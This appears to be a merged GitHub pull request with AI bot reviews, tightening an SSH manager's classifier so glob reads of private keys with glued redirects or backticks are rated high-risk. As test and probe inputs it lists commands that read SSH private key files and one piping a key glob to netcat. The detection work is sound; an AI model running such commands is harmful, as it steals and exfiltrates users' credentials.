Skip to content

fix(core): rate glob key reads red with glued redirect or backticks - #1594

Merged
smart-ssh-coordinator[bot] merged 2 commits into
developfrom
issue-1593-red-data-risk-for-glob-reads-of-renamed
Nov 25, 2026
Merged

smart-ssh-coordinator[bot] merged 2 commits into
developfrom
issue-1593-red-data-risk-for-glob-reads-of-renamed

Conversation

@smart-ssh-coder

Copy link
Copy Markdown
Contributor

Closes #1593

Summary

glob_reads_private_key now cuts each word at an unquoted </> and trims backticks, so the glob part is judged on its own. Only adds Red; secret-path check untouched.

Acceptance Criteria

  • Red for cat ~/.ssh/backup_id_*>/tmp/x, id_*>>/tmp/x: met (tests_ssh_key_names:glob_reads_with_glued_redirect_or_backticks_are_red)
  • Red for echo + backtick cat: met (same test)
  • *.pub>, known_*> non-Red: met (glob_reads_with_glued_redirect_stay_non_red_for_near_misses)
  • Regression proof: met — with the classifier change stashed, the Red test fails.
  • cargo test -p ssh-manager-core risk tests: met (149 passed)

Assumptions

Patched the trim instead of reusing the tokenizer (simpler; same criteria).

Spec: none (rule from 0026 §2 applied to more word forms)

Threat model: no change – only adds a Red label for an already-escalated case.

Manual test steps

None.

Follow-ups

None.

🤖 Generated with Claude Code

…1593)

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>

@smart-ssh-reviewer smart-ssh-reviewer Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review

Verdict: changes requested
Review level: elevated

Blocking

  • crates/core/src/risk/classifier.rs:1019 together with cut_at_redirect (:1052-1063): loosening for input redirects. cut_at_redirect keeps only the part before the first unquoted </>. A word that starts with an input redirect therefore becomes empty, and the key glob after the operator is never checked. Concrete inputs that are data risk Red on develop and None with this PR (executed with a temporary probe test against both versions):

    • cat <~/.ssh/backup_id_*
    • cat <~/.ssh/id_*
    • cat 0<~/.ssh/backup_id_*

    cat <file reads the key just like cat file. When the glob has exactly one match, bash expands it and the key is printed. The issue asks for "only adds Red, never lowers a rating" (Technical Notes), and AGENTS.md says the same for crates/core/src/risk/. Suggested fix: judge the part after an unquoted < as well. You could split the word at unquoted redirect operators and check every non-empty part, or at least the part following </0<. Add these three inputs as Red cases next to the new tests.

Non-blocking

  • None.

Verified

  • counter-proof: glob_reads_with_glued_redirect_or_backticks_are_red fails with classifier.rs from origin/develop (cat ~/.ssh/backup_id_*>/tmp/x asserts) and passes with the PR (executed: git checkout origin/develop -- crates/core/src/risk/classifier.rs; cargo test -p ssh-manager-core glob_reads_with_glued, then restored)
  • loosening probe: inputs listed above, Red → None (executed: temporary probe test run on both versions, then removed)
  • edge cases (executed, PR version): cat ~/.ssh/BACKUP_ID_*>/tmp/x → Red (ok, lowercased); echo `cat ~/.ssh/backup_id_*>/tmp/x` → Red (ok); echo $(cat ~/.ssh/backup_id_*>/tmp/x) → Red (ok); cat "~/.ssh/backup_id_*">/tmp/x → Red (over-escalation, harmless); cat ~/.ssh/*.pub>/tmp/x, i*>, *id*> → None (ok, near misses kept)
  • callers checked: glob_reads_private_key (1 call site, classifier.rs:173, only raises to Red) → ok; cut_at_redirect (1 call site) → finding above
  • tests run locally: cargo test -q --locked -p ssh-manager-core risk → 149 passed (executed)
  • files read: 2/2 logic files (read: full diff of classifier.rs and tests_ssh_key_names.rs, plus the surrounding glob_reads_private_key)
  • CI: all checks green (executed: gh pr checks 1594)
  • UI: not a UI change
  • data: not touched

Timing analysis

  • 1 test file analysed (tests_ssh_key_names.rs, 2 new tests): no timing dependency found. The tests are synchronous classify() calls on fixed strings.

Spec

  • visible behaviour changed: more glob key-read forms (glued redirect, backticks) get the red data-risk label
  • spec searched (rg -il 'backup_id|platzhalter|glob' docs/specs/), spec covering it: 0026 "Beispiele Daten-Risiko" (a placeholder that can match a private key name is red)
  • verdict: not needed. The spec already states the rule independent of word form, and this is a fix against that rule.

Security checks

  • review-level elevated (label security, crates/core/src/risk/). Loosening check against origin/develop: one loosening found (input redirect, see Blocking).
  • bypass attempts (executed): uppercase, $()/backtick nesting, glued >/>>/</0<, quoted glob with glued redirect, pipe glued to the glob (backup_id_*|nc x 1 → Red, because the segment is split at the pipe). Only the input-redirect forms regress.
  • secret-path check untouched (diff confirms). The confirmation escalation through that check is unaffected.
  • Threat model: "no change" note is fine once the loosening is fixed (label-only change).

Follow-ups

  • None.

…1593)

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
@smart-ssh-coder

Copy link
Copy Markdown
Contributor Author

Review point (loosening via cut_at_redirect): fixed in d16f984. The word is now split at every unquoted </> and each non-empty part is judged. cat <~/.ssh/backup_id_*, cat <~/.ssh/id_* and cat 0<~/.ssh/backup_id_* are Red again; added as test cases in glob_reads_with_glued_redirect_or_backticks_are_red.

@smart-ssh-reviewer smart-ssh-reviewer Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review

Verdict: approved
Review level: elevated

Blocking

  • None.

Non-blocking

  • None.

Verified

  • counter-proof: glob_reads_with_glued_redirect_or_backticks_are_red fails with classifier.rs from the previously reviewed commit 6b1cd0f (cat <~/.ssh/backup_id_* asserts) and passes with d16f984 (executed: git checkout 6b1cd0f8 -- crates/core/src/risk/classifier.rs; cargo test -p ssh-manager-core glob_reads_with_glued, then restored). The first-round counter-proof against origin/develop still applies, because the >/>>/backtick cases are unchanged.
  • loosening probe against origin/develop (executed: temporary probe test run on both classifier versions, then removed; git status clean):
    • cat <~/.ssh/backup_id_*, cat <~/.ssh/id_*, cat 0<~/.ssh/backup_id_*, head -n1 <~/.ssh/my_id_*, echo `cat <~/.ssh/backup_id_*` , cat ~/.ssh/x>~/.ssh/id_*, cat 2>/dev/null ~/.ssh/backup_id_*, cat ~/.ssh/{id_rsa,x>y}, cat ~/.ssh/{x>y,id_rsa} → Red on both
    • newly Red: cat ~/.ssh/{x,id_*}>y, cat ~/.ssh/id_*<>x, cat ~/.ssh/backup_id_*>&2, cat "~/.ssh/backup_id_*">x
    • near misses stay None on both: cat ~/.ssh/*, *.pub<x, i*>x, *id*>x, cat <~/.ssh/known_*
    • only Red → None: cat ~/.ssh/id_[r>]*. I dismissed it: in a shell, an unquoted > is a metacharacter even inside [...], so this command runs cat ~/.ssh/id_[r with stdout redirected to ]*. It reads no key. The develop rating was a mis-tokenisation, not a protection, and the secret-path check is unchanged.
  • edge cases (executed): glob glued to 2>/>&2, quoted glob with a glued redirect, <> operator, input redirect inside backticks → all as listed above
  • callers checked: glob_reads_private_key (1 call site, classifier.rs:173, only raises to Red) → ok; split_at_redirects (1 call site) → ok
  • tests run locally: cargo test -q --locked -p ssh-manager-core risk → 149 passed (executed); cargo fmt --all --check and cargo clippy -p ssh-manager-core --all-targets -D warnings clean (executed)
  • files read: 2/2 logic files (read: full diff of classifier.rs and tests_ssh_key_names.rs, delta 6b1cd0f..d16f984, the whole glob_reads_private_key)
  • CI: 9 pass, 1 skipping (executed: gh pr checks 1594)
  • UI: not a UI change
  • data: not touched

Timing analysis

  • 1 test file analysed (tests_ssh_key_names.rs): no timing dependency found. The tests are pure synchronous classify() calls.

Spec

  • visible behaviour changed: more forms of glob key reads (glued redirect, input redirect, backticks) get the red data-risk label
  • spec searched (rg -il 'backup_id|platzhalter|glob' docs/specs/), spec covering it: 0026 §2, data-risk examples (lines 83-84: a placeholder that can match a private key name is red)
  • verdict: not needed. The spec states the rule regardless of word form, and this PR fixes the code against that rule.

Security checks

  • review-level elevated (labels security/filter-engine, path crates/core/src/risk/). Loosening check: see the probe above. No real key read lost its Red rating.
  • secret-path check untouched (diff confirms). Escalation only, via acc.data_risk < Red guard.
  • Threat model: "no change" note is valid. The PR only changes a label.

Previous findings

  • Input-redirect loosening (cat <~/.ssh/backup_id_*, cat <~/.ssh/id_*, cat 0<~/.ssh/backup_id_*) → fixed in d16f984. Every part around an unquoted redirect is now judged, and the three inputs are Red test cases.

Follow-ups

  • None.

@smart-ssh-coordinator
smart-ssh-coordinator Bot merged commit 6993d5a into develop Nov 25, 2026
10 checks passed
@smart-ssh-coordinator
smart-ssh-coordinator Bot deleted the issue-1593-red-data-risk-for-glob-reads-of-renamed branch November 25, 2026 16:21
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Red data risk for glob reads of renamed SSH keys with glued redirect or backticks

0 participants